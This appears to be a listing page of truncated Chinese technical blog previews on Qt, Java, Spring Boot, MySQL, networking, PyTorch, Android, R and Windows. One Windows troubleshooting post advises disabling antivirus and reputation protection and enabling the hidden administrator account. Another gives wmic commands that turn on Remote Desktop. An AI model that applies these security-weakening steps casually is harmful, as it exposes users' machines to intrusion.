QT汇制饼图 QtCharts饼图源码示例 QtCharts饼图源码 环境 Qt 5.13.1 (MSVC 2017, 32 bit) Qt Creator 4.10.1 源码在ubuntu20和windows10下面编译通过 .pro文件引入 QT += charts UI界面 在界面适当位置拖入一个Widget,重命名为ChartView1,右键提升为QChartView .h文件核心代码 #include <QtCharts> QT_CHARTS_USE_NAMESPACE namespace Ui { class XXXXX; } private: void showEvent(QShowEvent *); void ShujuChartDraw(); void ShujuChartUpdate(); QChart *chart = nullptr; QPieSeries *series = nullptr; .cpp文件核心源码 XXXXX::XXXXX(QWidget *parent) : QWidget(parent), ui(new Ui::XXXXX) { ui->setupUi(this); //绘制统计图 this->ShujuChartDraw(); } //*************** //* 绘制统计图 //****************** void XXXXX::ShujuChartDraw(){ series = new QPieSeries(); series->setUseOpenGL(true); series->setPieSize(0.

利用Java反射机制将Map集合转成实体类

当有需要将Map的字段一一赋值到实体类时,发现一个一个字段取值和赋值操作比较繁琐,如果Map中数据类型不一致,还需要做类型强转。所以通过反射自动把Map的数据转成实体类中,可以让业务代码更加美观。 public static <T> T mapToEntity(Map<?, ?> map, Class<T> clazz) { // 验证Map和实体类Class对象是否为空 Assert.notNull(map, "map cannot be null"); Assert.notNull(clazz, "entity class cannot be null"); try { List<Field> allFields = new ArrayList<>(); T t = clazz.newInstance(); Class<?> aClass = clazz; do { // 利用Java反射获取自身属性以及父类属性 allFields.addAll(Stream.of(aClass.getDeclaredFields()).collect(Collectors.toList())); aClass = aClass.getSuperclass(); // Object类为超级大类,到了Object类,继承关系已到了顶点,不需要处理了 } while (!StringUtil.equals(aClass.getTypeName(), Object.class.getTypeName())); // 对实体类的属性进行遍历 for (Field field : allFields) { // 获取属性名称 String fieldName = field.getName(); // 属性对应的实体类名称,这里需要一一对应,否则取不到值 Object data = map.

Windows无法访问指定设备、路径或文件怎么办?

如何解决Windows 无法访问指定的设备、路径或文件错误? 1.修改安全中心的设置 如果在安装程序的过程中,遇到该错误,可以进入到【Windows安全中心】进行设置修改。 第一步:点击左下角的开始按钮,然后依次点击【设置】>【更新和安全】>左侧栏中的【Windows安全中心】>右侧栏中的【打开Windows安全中心】。 第二步:选择【应用和浏览器控制】,然后点击【基于声誉的保护设置】。 第三步:在【阻止可能不需要的应用】中,点击开关按钮以关闭该功能,即取消勾选【阻止应用】和【阻止下载】。 第四步:在弹出的【Windows应用程序】界面中,点击【确定】。 第五步:重启电脑并尝试进行之前的操作,查看问题是否解决。 2.修改程序或文件的控制权限 当应用程序的执行文件或者工作文档被上锁了,可能会因为权限受限而无法运行或打开。此时,我们可以通过修改文件权限来重新打开文件。 第一步:右键点击目标文件,然后选择【属性】。 第二步:在弹出的窗口中,选择【安全】选项卡。 第三步:在【组或用户名】列表中,选择目标的用户名。然后点击【编辑】按钮。 第四步:在权限列表中,勾选允许【完全控制】的选项。也可勾选其他所需开启的权限。 第五步:点击【确定】保存修改后的操作。然后即可对文件进行打开、修改或者删除的操作。 3.检查程序或文件路径 如果程序或者文件的路径不正确,也会导致无法运行程序或者打开文件。可通过查看文件的路径,来确认路径是否有误。具体步骤如下。 右键点击目标文件,然后选择【属性】>【常规】。接着就可查看到文件所在的位置。 当使用快捷方式无法访问文件时,可能是文件的路径已被修改。可进入程序或文件所在的位置,然后重新创建快捷方式即可解决该错误。 4.禁用杀毒软件 如果你在电脑上已安装了杀毒软件,就可以尝试暂时关闭杀毒软件。在部分情况下,杀毒软件会禁止访问文件。可尝试以下步骤禁用杀毒软件。 第一步:同时按住键盘上的Windows和R。在打开的【运行】窗口中,输入【msconfig】,点击【确定】或按回车键。 第二步:在打开的【系统配置】窗口中,选择【启动】选项卡。然后点击【打开任务管理器】。 第三步:在弹出的窗口中,选择杀毒软件。接着,右键点击并选择【禁用】按钮。然后就可尝试运行程序或打开文件。 5.启用隐藏的管理员账号 该错误的产生,也可能是因为当前的Windows账号不是管理员账号或者不带有管理员权限。可尝试启用隐藏的管理员账号获取权限后再运行程序或打开文件。可通过以下几步,快速启用隐藏的管理员账号。 第一步:进入安全模式。对于不同的系统(Windows 10/8.1/8/7/Vista/XP),进入安全模式的方法会存在一定的差异。 第二步:搜索【CMD】并运行命令提示符,然后输入【net user administrator /active:yes】,按下回车键(即Enter键)。隐藏的管理员账号就会被启用。 第三步:重启电脑并重新进入安全模式。然后使用隐藏的管理员账号登录系统。 第四步:打开控制面板,选择【用户账号】。 第五步:点击【管理其他账号】,选择你的账号,点击【更改账号类型】,选择【管理员】并点击【更改账号类型】。 第六步:重启电脑,并使用你的用户账号登录系统。此时,即可正常打开文件或运行程序。

idea创建maven工程错误: 找不到或无法加载主类 xxxxx

在创建maven工程时,随便运行一个类,都提示找不到或无法加载主类 xxxxx,但是换个工程可以 在网上找了好多方法都不行,后来看到一个解决方案 先执行Maven clean,再执行Maven compile 试了一下,有用,不报错误了。

命令控制开关远程桌面

命令控制开关远程桌面 开启远程桌面控制: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 关闭远程桌面控制: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

【无标题】时间序列分析,平稳模型

时间序列分析,平稳模型,从读取数据到预测数据 x<-read.table("D:/时间序列分析/DATA1/A1-8.txt",sep=',',header=T) overshort<- ts(x$overshort,start=1) #时序图 plot(overshort, type="o",col=1,main='时序图') #白噪声检验 for(i in 1:2)print(Box.test(overshort,type='Ljung-Box',lag=6*i)) #自相关与偏自相关图 par(mfrow=c(1,2));acf(overshort);pacf(overshort) overshort.1<-x$overshort; #EACF法 library(TSA) eacf(overshort.1) #最优子集法 library(TSA) res<-armasubsets(y=overshort.1,nar=10,nma=10,ar.method="ols") plot(res) #基于AIC,AIC或BIC的最佳模型法 library(forecast) auto.arima(overshort.1,ic = "bic") #参数估计 fit<-arima(overshort.1,order=c(0,0,1),method='CSS') fit #模型检验 library(aTSA) ts.diag(fit) t<-abs(fit$coef)/sqrt(diag(fit$var.coef)) pt(t,length(overshort)-length(fit$coef),lower.tail=F)

PLC中MX、MB、MW、MD的含义和长度

M表示内部存储区。MB表示长度为字节的操作数在内部存储区,MW表示长度为字的操作数在内部存储区,MD表示长度为双字的操作数在内部存储区。 操作数包含两个要素:标识符和标识参数。标识符用来表示操作数存放区域及操作位数;标识参数用来表示操作数在该存储区域内的具体位置。 存储区域包括有:输入映像区(I),输出映像区(Q),内部存储区(M),物理输入区(PI),物理输出区(PQ),数据块(DB),数据块(DI),临时堆栈(L) 辅助标识符包括有:X(位),B(字节),W(字—2字节),D(双字—4字节) M表示是辅助存储单元 B 是指长度占一个字节 W 是指长度占一个字(两个字节) D 是指长度占一个双字(四个字节)

GET请求Map作为请求入参,参数接收不到?

问题描述 在开发中,如果我们要用GET方式的请求,面对参数众多的情况下,除了封装成一个对象以外,也可以通过一个Map作为接收参数(不太支持),但是在开发中直接写Map参数接收不到。 解决方案: 我们可以直接在Map前面加一个@RequestParam注解可以解决这个问题。

外网业务访问故障,ping时通时断,显示有请求超时time out处理过程

类似问题参考: ip地址冲突导致ping时通时断显示超时问题处理过程_wj31932的博客-CSDN博客 无法上网故障排查过程及复现过程系ip冲突造成_wj31932的博客-CSDN博客_arp获取不到网关mac地址 一天,同事在群里反馈,外网访问困难,无法打开北京总部的oa系统,让排查一下。 看到问题以为到北京的vpn断了,登录路由器看一下出局的线路情况,发现路由器地址很难登录。打开客户端,半天没反应。 ping一下北京oa地址,显示有time out后面有导通显示。如下: 发现有time out现象,而且两包回的延时较大。正常时的ping是这样的: 总之,ping有时通,有时断。可能的原因: 1、前向源ip广播域或者后向目的ip广播域环境有设备冒充网关,导致有时ping的request发给错误的mac地址,而不是正确的网关设备,目的ip没有收到request而没有回reply,源设备等待超时。还有可能是源ip或目的ip设备的路由指向问题,比如双默认路由,也可能造成ping的部分request或reply去了另一个mac地址,而终结在这个设备上造成丢包。 2、目的ip环境存在ip冲突,目的网关把部分request消息发给错误的mac地址,导致真正的目的ip没有收到,而没有回reply,源设备等待超时。 3、源ip设备环境中存在ip冲突,导致网关把部分ping的reply消息发给错误的mac地址,源ip等待超时。 4、经过的中间节点网络拥塞或者目的设备处理能力拥塞,导致丢失部分前向request或者后向reply消息,或者目的设备未响应request消息,导致源设备等待超时。 ping出现稳定time out的可能性原因: 1、防火墙拦截的ping的request消息,导致高层无法收到,所以不回ping的reply消息。 2、跨网段环境中存在ip冲突或一设备多网卡,接在同一交换机下,回答了访问的arp请求,把错误的mac给了源主机,导致网关把ping的request消息发给其他mac地址。 3、也与目的主机的路由相关,没有回程路由,如同网段可能掩码错误,没有配置网关的话。 4、回程路由指向其他ip地址,导致源ip没有收到ping的reply消息。 5、ping消息的入接口和回程出接口不是设备的同一接口等等原因造成。 6、环境中传输有问题,误码过高或者带宽被占用,导致节点压包,丢包。 考虑内网访问路由器都很难登录,判断问题应该出在路由器和核心交换机的接口间。 如图:根据以往故障经验,可能是测试环境中有打流之类的操作,路由错误,送到核心交换机转发给路由器了。测试仪打流,正常时,不会发出到核心交换机。 登录交换机,登录很慢,登上后查看路由器和交换机的lan1口情况: 想去看一下是具体哪些访问的ip导致带宽被占,但路由器客户端自动退出,估计是心跳收不到,自动断开了。 看路由器的处理wan2-pppoe流量不大,判断是这个占带宽的包被防火墙拦截了,drop掉了。 结合以往经验,群里询问是否有用测试仪打流的,是否路由设置不对,导致打流送出到路由器了?有同事说他们在打流,让停一下检查一下路由? 一会反馈目的方服务器关机了,没有落地路由,导致网络节点送到默认路由走到出口路由器去了,已经停掉打流。这是登录路由器,很快登录上去,查看lan1口流量: 流量明显回落,ping总部oa也正常了。网络恢复。 问题分析: 询问他的打流组网流程,大概如下图:用测试仪的一个接口想给agw打流,agw转换后发给测试仪的另一接口。打流的目的ip是agw设备的一个ip地址,agw和交换机的一个接口19用10G光纤直连。 图中是 示意图,他打流的目的在agw上,ip是192.19.0.0/24网段的,这个ip是做在圈中交换机的19接口上上直连路由发出,当图中agw关机时,对应的圈中的接口19是down的,对应直连路由没有了,所以打流就从默认路由出去了。如下图路由关系: 正常时,三层交换机的路由关系: 因为交换机的接口19添加了有一个ip地址,直连agw,正常时,目的ip通过这个ip生成的直连路由发给agw设备, 当agw关机时,19接口down,导致直连路由消失,交换机把打流包送到默认路由的上级交换机,依次转发到路由器。上级交换机的路由。 核心交换机的路由如下: 结论:接口down导致直连路由消失,若是svi生成的直连路由,只要有一个接口,无论是access还是trunk只要使用了这个vlan,直连路由都不会down,这时,三层交换机回给源ip发destination host unreachable的icmp消息,终止这个打流消息的继续转发。 带宽被抢占,导致正常访问的包,无法发出,积压丢包,延时被发出,导致回包延时。

Springboot快速开发-书本信息管理系统(项目源码)

【我后续会发一个资源包,里面是所有代码,数据库表设计也有,大学生可以直接用,导入数据库运行,再导入后端项目和前端项目,再去网页运行就好了,效果图下面有】 1、考核要求: 数据库:MYSQL5.7+后台技术:SpringBoot前端技术:vue+elementui代码简洁、有合理的注解,前面页面排版工整 2、考核注意事项: 1.运行sql脚本,创建数据库及书本表(根据我的实体类建表就可以了,整个项目可直接运行,跨域问题已处理,前后端的端口也已处理) 2.后台代码注意事项 a.Maven地址的修改(修改成你自己的); b.依赖可能不在本地,需要联网重新下载; c.jdbc.properties设置,数据库相关配置:数据库名/账号/密码,请修改成自己电脑所对应的账号和密码。 d.generatorConfig.xml设置:Ⅰ:修改classPathEntry配置,更换成本地maven仓库中mysql数据库jdbc驱动jar包的位置;Ⅱ:修改table配置表信息(tableName和domainObjectName),更换成考试中对应数据库表;Ⅲ:点击Edit Configurations...配置,添加Maven,输入命名:mybatis-gerenator:gerenate -e; e.application.yml设置:数据库相关设置:数据库名/帐号/密码,请修改成自己电脑对应的帐号和密码 f.由于电脑tomcat以及jdk的安装位置不一样,请重新配置jdk和tomcat g.以上步骤完成,先不要写任何代码,先将web项目发布至tomcat并启动,如果首页访问成功,表示web项目部署成功,可以开始编写后台代码了 3.前端代码注意事项: 1.vue项目框架已搭建完成,为减小源码大小,相关模块已删除,运行项目前,请先进入vue项目根目录,使用npm install命令下载相关模块(此步骤需要联网) 2.项目启动后无需添加路由或*.vue文件,运行后会直接跳转到BookList.vue,在此vue文件中添加相关功能即可 3.开动 generatorConfig.xml、jdbc.properties、application.yml这三个配置文件我就不展示了,有需要的下载我的资源包 数据库表建好之后→导入前端(可以把需要的依赖先下载,然后干自己的事)→导入后端(进行我上面所说的那些后端操作)→写完代码运行后端→在写前端代码(运行前端) 以下是后端的代码: Model层:Book package com.zking.spboot.model; public class Book { private Integer id; private String bookname; private Float price; private String booktype; public Book(Integer id, String bookname, Float price, String booktype) { this.id = id; this.bookname = bookname; this.price = price; this.booktype = booktype; } public Book() { super(); } public Integer getId() { return id; } public void setId(Integer id) { this.

MySQL8.0修改lower_case_table_names参数导致重启失败

事件起因:在测试一个数据迁移工具时,源端oracle19c数据迁移到目标端MySQL8.0,提示迁移目标端 Unknown database 'SBTEST',报错如下: 2022-07-29 10:08:19,155 ERROR com.greatsync.connector.jdbc.internal.ComplexJdbcOutputFormat [] - JDBC executeBatch error, retry times = 0 java.sql.BatchUpdateException: Unknown database 'SBTEST' at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[?:1.8.0_312] at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[?:1.8.0_312] at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[?:1.8.0_312] at java.lang.reflect.Constructor.newInstance(Constructor.java:423) ~[?:1.8.0_312] at com.mysql.cj.util.Util.handleNewInstance(Util.java:192) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.mysql.cj.util.Util.getInstance(Util.java:167) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.mysql.cj.util.Util.getInstance(Util.java:174) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.mysql.cj.jdbc.exceptions.SQLError.createBatchUpdateException(SQLError.java:224) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.mysql.cj.jdbc.ClientPreparedStatement.executeBatchedInserts(ClientPreparedStatement.java:755) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.mysql.cj.jdbc.ClientPreparedStatement.executeBatchInternal(ClientPreparedStatement.java:426) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.mysql.cj.jdbc.StatementImpl.executeBatch(StatementImpl.java:795) ~[mysql-connector-java-8.0.28.jar:8.0.28] at com.greatsync.connector.jdbc.statement.FieldNamedPreparedStatementImpl.executeBatch(FieldNamedPreparedStatementImpl.java:77) ~[blob_p-90078b57fb2c51eb5935c045d2e493ef0a7d1524-e9c0e1166eea1bd94ba3d5a23c03b9b3:?] at com.greatsync.connector.jdbc.internal.executor.TableSimpleStatementExecutor.executeBatch(TableSimpleStatementExecutor.java:63) ~[blob_p-90078b57fb2c51eb5935c045d2e493ef0a7d1524-e9c0e1166eea1bd94ba3d5a23c03b9b3:?] at com.greatsync.connector.jdbc.internal.executor.TableBufferReducedStatementExecutor.executeBatch(TableBufferReducedStatementExecutor.java:121) ~[blob_p-90078b57fb2c51eb5935c045d2e493ef0a7d1524-e9c0e1166eea1bd94ba3d5a23c03b9b3:?] at com.greatsync.connector.jdbc.internal.ComplexJdbcOutputFormat.attemptFlush(ComplexJdbcOutputFormat.java:243) ~[blob_p-90078b57fb2c51eb5935c045d2e493ef0a7d1524-e9c0e1166eea1bd94ba3d5a23c03b9b3:?] at com.greatsync.connector.jdbc.internal.ComplexJdbcOutputFormat.flush(ComplexJdbcOutputFormat.java:210) ~[blob_p-90078b57fb2c51eb5935c045d2e493ef0a7d1524-e9c0e1166eea1bd94ba3d5a23c03b9b3:?

linux嵌入式开发所用工具

目录 1. 远程终端工具 2. window和linux共享工具 3. VMware虚拟机 4. 交叉编译器 1. 远程终端工具 远程终端用于,window系统中连接同一个局域网中的linux服务器,以命令行的方式进行交互,不能用桌面方式交互 工具链接如下 链接:百度网盘 请输入提取码 提取码:0r98 1.tera term 2. putty 2. window和linux共享工具 工具链接如下: 链接:百度网盘 请输入提取码 提取码:qnh0 1. winscp 3. VMware虚拟机 界面如下,我在里面安装了ubuntu16.04 4. 交叉编译器 交叉编译器安装在PC机器的linux系统的某个目录中,具体的开发板有具体的配置方式,这里先等待,以后买了开发板之后,补充

获取某月有多少天

获取某月有多少天 今天在开发的过程中,有个地方需要对传来的天数进行判断,是否是某个月的最大的值。当我还在伸出左手边的拳头数那个月是31天,哪些是30天的时候,突然发现LocalDate中有个lengthOfMonth这个方法, 自认为这个代码写的很精致。 public static void main(String[] args) { LocalDate now = LocalDate.now(); int lengthOfMonth = now.lengthOfMonth(); System.out.println(lengthOfMonth); } 可以输出:30天 来看看它是怎么实现的? public int lengthOfMonth() { switch (month) { case 2: return (isLeapYear() ? 29 : 28); case 4: case 6: case 9: case 11: return 30; default: return 31; } } 通过传入的月份,可以对应到当月的最大天数,并且可以判断是否是闰年来确定2月是29天还是28天。

C语言实现扫雷游戏(超详细讲解+全部源码)

电子信息 工科男 一点一点努力! 文章目录 前言一、游戏介绍二、游戏设计思路二、具体步骤1.创建test.c和game.c源文件以及 game.h头文件2.创建菜单3.创建雷盘4.初始化雷盘5.打印雷盘6.布雷7.排雷 三、程序源码 前言 本文使用C语言实现扫雷游戏 一、游戏介绍 扫雷游戏大家都不陌生,玩家翻开一个格子,如果是雷则直接游戏结束,如果不是雷则显示周围8格包含雷的个数,通过玩家逐渐推理出所有非雷的位置,最终取得胜利 二、游戏设计思路 我们定义两个数组,一个数组(mine)用来存放布置好的雷的信息,一个数组(show)用来存放排查出类雷的信息(用于和玩家交互),通过修改show的信息达到排雷的目的。 如上图可知:在计算边界1周围雷数时,数组会越界,所以为了防止这个现象,我们可以在周围多留一圈,例如如果我们要玩9x9的,那就定义11x11大小的数组 二、具体步骤 1.创建test.c和game.c源文件以及 game.h头文件 注:各文件作用解释如下 1:test.c代码为整个程序的主题实现逻辑 2:game.c代码为游戏函数的定义 3:game.h代码为游戏函数的声明 2.创建菜单 在test.c文件中创建菜单函数。 代码如下(示例): void menu() { printf("*******************************\n"); printf("************ 1. play **********\n"); printf("************ 0. exit **********\n"); printf("*******************************\n"); } 注:玩家选择1进入游戏,0退出游戏 3.创建雷盘 mine数组雷盘示例如下: show数组雷盘示例如下: 代码如下: #define ROW 9 #define COL 9 #define ROWS ROW+2 #define COLS COL+2 //1:雷盘创建,mine数组用来存放雷,show数组用来显示排雷 char mine[ROWS][COLS] = { 0 }; char show[ROWS][COLS] = { 0 }; 4.初始化雷盘 两个数组的初始化

【pytorch】计算向量相似度

原文链接:https://zhuanlan.zhihu.com/p/442092801 本文提供几个pytorch中常用的向量相似度评估方法,并给出其源码实现,供大家参考。分别为以下六个。 CosineSimilarity DotProductSimilarity ProjectedDotProductSimilarity BiLinearSimilarity TriLinearSimilarity MultiHeadedSimilarity (其中第一个pytoch自带有库函数) 1.CosineSimilarity 余弦相似度用向量空间中两个向量夹角的余弦值作为衡量两个个体间差异的大小。余弦值越接近1,就表明夹角越接近0度,也就是两个向量越相似,称为"余弦相似性" class CosineSimilarity(nn.Module): def forward(self, tensor_1, tensor_2): normalized_tensor_1 = tensor_1 / tensor_1.norm(dim=-1, keepdim=True) normalized_tensor_2 = tensor_2 / tensor_2.norm(dim=-1, keepdim=True) return (normalized_tensor_1 * normalized_tensor_2).sum(dim=-1) 2.DotProductSimilarity 这个相似度函数简单地计算每对向量之间的点积,并使用可选的缩放来减少输出的方差。 class DotProductSimilarity(nn.Module): def __init__(self, scale_output=False): super(DotProductSimilarity, self).__init__() self.scale_output = scale_output def forward(self, tensor_1, tensor_2): result = (tensor_1 * tensor_2).sum(dim=-1) if self.scale_output: # TODO why allennlp do multiplication at here ? result /= math.sqrt(tensor_1.size(-1)) return result 3.

垃圾回收机制——GC详讲

文章目录 垃圾回收垃圾回收的主要场所如何判断这个对象完全用不到了引用计数法缺点 可达性分析GCRoot 回收垃圾标记-清楚复制算法标记-整理分代回收 垃圾回收 众所周知,程序在运行过程中总是需要申请内存空间,内存空间又不是无限的,为了保持内存空间的持续使用,我们就需要知道如何识别出哪些是垃圾,识别出来后又需要怎么处理这些垃圾?这里就需要垃圾回收机制,也被称为 GC ( 下文通过 GC 代指垃圾回收) 垃圾回收的主要场所 Java 进程在启动的时候会向操作系统申请内存空间,并划分为堆,栈,程序计数器,方法区 栈 这片区域主要存储局部变量,而局部变量都拥有自己的作用域,局部变量出了作用域就会自己被回收,所以这里并不需要“过多关心”方法区 方法区主要用于类加载,存储类对象,伴随了整个 Java 进程的进行程序计数器 由于每一个线程都有自己的一片空间固定的程序计数器,如果一个线程销毁,那么程序计数器也会被销毁堆 这里是对象创建的内存空间,存在着大量对象的产生和销毁,因此,此处就是垃圾回收的主要发生区域 知道了 GC 主要发生在堆上了, 应该怎么识别一个对象是垃圾? 在我们看来, 如果一个变量全部空间都不需要用到了, 那自然是垃圾, 而这个对象空间还有一部分需要用, 那肯定不能识别为垃圾, 所以, 垃圾回收机制的基本单位是对象, 而接下来完全用不到的对象就是 GC 的回收目标 如何判断这个对象完全用不到了 这篇主要介绍两个方法:可达性分析 和 引用计数 引用计数法 首先是引用计数法,这也是 Python 中使用的垃圾回收机制 我们来定义一下何为 垃圾对象,如果说我们没有某个对象的引用,我们就用不到这个对象了,既然用不到这个对象,那视为垃圾,没有问题吧 所以我们可以记录引用是某个对象(我们记为 A)的次数, 如果这个引用是局部变量, 那么出了作用域, 这个对象A的引用次数就减一, 而如果这个引用是成员变量, 那么当这个引用对应的对象被销毁了, 对象A的引用次数才减一, 当对象A的引用次数为 0 的时候, 也就达成了上述情况, 这个对象就可以视为垃圾 举个例子🌰, 我们创建了一个 Student 对象, 用 a 接收这个对象引用, 再创建一个引用 b 再指向这个 Student 对象, 那么此时引用次数就为 2, 但是如果让 a = b = null; 那么这个 Student 也就没有引用指向它了, 就可以被视为 GC 的回收对象

H3C DIS命令记录

mac地址有关 dis mac-add 实时有在 生命周期内的 dis arp 总是有 dis arp vlan 2 查看vlan2下的mac 测试 1 组网 开机 ,mac-add 和arp都为空 2 vlan + 虚拟ip ,为空 3 dis in b 查看端口后,mac-add 有数据了 [SW]dis mac-add MAC Address VLAN ID State Port/Nickname Aging 527b-8aa4-0105 1 Learned GE1/0/1 Y 527b-8c59-0205 1 Learned GE1/0/2 Y 527b-8e8f-0305 2 Learned GE1/0/3 Y [SW]dis arp Type: S-Static D-Dynamic O-Openflow R-Rule M-Multiport I-Invalid IP address MAC address SVLAN/VSI Interface/Link ID Aging Type 4 各pc设置 ip后 ,都有数据了 [SW]dis mac-add MAC Address VLAN ID State Port/Nickname Aging 527b-8aa4-0105 1 Learned GE1/0/1 Y 527b-8c59-0205 1 Learned GE1/0/2 Y 527b-8e8f-0305 2 Learned GE1/0/3 Y [SW]dis arp Type: S-Static D-Dynamic O-Openflow R-Rule M-Multiport I-Invalid IP address MAC address SVLAN/VSI Interface/Link ID Aging Type 10.

Android——AlertDialog对话框之单选对话框

AlertDialog对话框包含普通、单选、多选和自定义对话框,本文介绍其中的单选对话框。 一、实现效果 二、单选对话框简介 单选对话框的内容区域显示为单选列表。 单选列表是通过AlertDialog.Builder对象 调用setSingleChoiceItems()方法设置的。 setSingleChoiceItems()方法语句格式: setSingleChoiceItems(CharSequence[] items,int checkedItem,OnClickListener)。 items:表示单选列表中的所有选项数据。 checkedItem:默认选项角标。 Listener:监听接口。 三、activity_main.xml文件 <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity"> <TextView android:id="@+id/tv" android:layout_width="match_parent" android:layout_height="wrap_content" android:gravity="center" android:text="通过单选对话框选择后显示字体大小" android:textSize="20sp" /> <Button android:id="@+id/bt" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="请设置字体大小" android:layout_gravity="center" /> </LinearLayout> 四、MainActivity.java文件 1.步骤 定义数组变量textSizeArr,用于存储字体。定义单选列表中默认选择的位置为1。 通过AlertDialog.Builder创建一个普通对话框。 setSingleChoiceItems()方法设置对话框的单选列表,并设置为监听事件,在onclick()方法中得到被点击的序号which,根据序号获取textSizeArr数组中的数据。 在setPositiveButton()方法setNegativeButton()方法中分别设置“确定”与“取消”按钮。 2.代码 import android.content.DialogInterface; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.TextView; import org.w3c.dom.Text; public class MainActivity extends AppCompatActivity implements View.OnClickListener { private TextView textView; int textSize=1;//表示单选列表中默认选择的位置为1 private int[] textSizeArr={10,20,25,30,40};//定义数组变量,用于存储字体大小 @Override protected void onCreate(Bundle savedInstanceState) { super.

kettle同步多个表数据

在面对把一个库中大量的表全量更新到另一个库的时候可以使用这个操作,总共三个转换两个作业 例如把A库中的数据同步到B库 在A库建两个测试表 现在A库中的测试表1和2都插入了1条数据,然后在B库建一个测试1表 测试1表建了表但是没数据,测试2表先不建 接下来在A库建一个表来存表名--写些数据进去,注意现在的顺序是测试1表排在最后 建立第一个转换--获取表名 表输入 字段选择--移除和元数据那里为空就行 复制记录到结果--这里不用任何操作 接下来建立第二个转换--获取结果 从结果获取记录--写一下字段名和类型 设置变量--这里变量名可以改成你喜欢的 接下来建立第三个转换--获取数据 表输入--下面的勾勾要选上 表输出--裁剪表做一个全量的操作,用变量名作为目标表 接下来建立第一个作业--子作业 获取结果的设置 检查表是否存在--写个变量名 获取数据的设置 接下来建立第二个作业--主作业 获取表名的设置 子作业的设置 至此kettle写完了 记住现在的状态,A库中的测试表1和2都有一条数据,B库的测试1表有0条数据,测试2表没建 跑一下主作业 在A库存的表名中有些是B库没有的,但是作业也没报错,看看现在B库是否有数据 B库已经把测试1表的数据同步过来了,测试2表不存在

Java 时间格式转换

Java时间格式转换 时间格式转字符串 private final static String yyyyMMdd = "yyyy-MM-dd"; //HH 代表24小时制,hh代表12小时制 private final static String yyyyMMddhhmmss = "yyyy-MM-dd HH:mm:ss"; private static String dateFormat(Date date){ SimpleDateFormat sdf = new SimpleDateFormat(yyyyMMddhhmmss); String currentTime = sdf.format(date); System.out.println("当前时间为:" + currentTime); return currentTime; } 字符串转时间 private static Date formatDate(String time){ SimpleDateFormat sdf = new SimpleDateFormat(yyyyMMddhhmmss); Date date = null; try { date = sdf.parse(time); System.out.println("时间为:" + date); } catch (ParseException e) { e.printStackTrace(); } return date; } 13位(毫秒)时间戳转时间 /** * 13位时间戳转时间格式 * @param timeStamp 13位时间戳 * @return 时间 */ private static Date timeStampFormatDate(String timeStamp){ Date date = new Date(); date.

Android——在线计算器完整代码

实现效果 一、xml布局文件 这里采用线性布局,关于计算器的布局,可以查看之前的文章。 <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:id="@+id/textResult" android:layout_width="match_parent" android:layout_height="wrap_content" android:textSize="30sp" android:gravity="right" android:text="" /> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal"> <Button android:id="@+id/btnCLs" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="2" android:text="C"/> <Button android:id="@+id/btnDel" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="2" android:text="Del"/> </LinearLayout> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal"> <Button android:id="@+id/btnOne" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="1" android:text="1"/> <Button android:id="@+id/btnTwo" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="1" android:text="2"/> <Button android:id="@+id/btnThree" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="1" android:text="3"/> <Button android:id="@+id/btnAdd" android:layout_width="0dp" android:layout_height="wrap_content" android:layout_weight="1" android:text="+"/> </LinearLayout> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal"> <Button android:id="

R语言armasubsets使用及报错问题处理

时间序列分析 在时间序列分析的建模过程中,我们常用armasubsets给我们的模型进行定阶,优化。 armasubsets() in TSA package,判别准则BIC。 armasubsets使用 res = armasubsets(X,nar = 14,nma = 14,ar.method = "ols") #X为待拟合的时间序列,nar为AR的最大阶数,nma为MA的最大阶数 #ar.method = "ols",表示AR部分的拟合方法是最小二乘法 plot(res) plot图采用是数据为某支股票的收盘价差分序列 armasubsets报错问题及解决办法 关于armasubsets的报错问题,我们会遇到两种类型。 第一种问题,就是我们安装TSA包之后,调用函数时系统提示版本过低,如图: 当出现这种问题时,使用者可以不用理会,直接使用armasubsets函数即可,通常情况下是不影响armasubsets函数正常使用的。(读者如果用install.packages("TSA")无法安装的话,可以采用Package Archive File (.zip;.tar.gz)形式安装) 第二种问题,我们使用armasubsets()函数之后,系统报错。 Reordering variables and trying again: Warning message: In leaps.setup(x, y, wt = wt, nbest = nbest, nvmax = nvmax, force.in = force.in, : 1 linear dependencies found 解决方法:出现这种问题,我们通常检查一下我们的数据是否为一个时间序列,不是的话请将数据转化为时间序列。如果尝试过后还是报错,我们可以将AR、MA的最大阶数(即nar=,nma=)数值调小,再进行尝试。 补充 以上所遇到的问题,以及解决的方法都是自己身边朋友们出现的问题,以及做出以上修正后就可以正常运行的情况。如您遇到与上述问题不符的情况,欢迎私信,一起讨论,一起进步。

PowerPoint新功能设计器,

